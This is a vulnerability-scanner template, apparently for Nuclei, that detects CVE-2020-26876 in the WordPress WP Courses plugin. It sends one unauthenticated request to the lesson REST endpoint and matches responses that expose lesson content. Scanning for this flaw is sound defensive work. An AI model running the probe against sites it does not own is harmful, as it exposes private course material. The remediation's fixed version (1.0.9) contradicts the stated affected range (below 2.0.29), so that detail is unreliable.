id: CVE-2020-26876 info: name: WordPress WP Courses Plugin Information Disclosure author: dwisiswant0 severity: high description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials. remediation: | Update to the latest version of the WordPress WP Courses Plugin (1.0.9) to fix the information disclosure vulnerability. reference: - https://nvd.nist.gov/vuln/detail/CVE-2020-26876 - https://www.exploit-db.com/exploits/48910 - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/ - https://plugins.trac.wordpress.org/changeset/2388997 - https://plugins.trac.wordpress.org/changeset/2389243 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-26876 cwe-id: CWE-306 epss-score: 0.01156 epss-percentile: 0.83343 cpe: cpe:2.3:a:wpcoursesplugin:wp-courses:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: wpcoursesplugin product: wp-courses framework: wordpress tags: cve,cve2020,wordpress,wp-plugin,exposure,edb http: - method: GET path: - "{{BaseURL}}/wp-json/wp/v2/lesson/1" matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: regex part: body regex: - "rest_post_invalid_id" - "\"(guid|title|content|excerpt)\":{\"rendered\":" condition: or - type: status status: - 200 - 404 condition: or # digest: 4a0a00473045022100ee751c6989e76d13bbf0b722f26ae877ce29de030e7d79c0f5d040bdc476153a022000e26244340cd518d7954bebd6fb67514c5bd254da62a38ac1663895c70e0114:922c64590222798bb761d5b6d8e72950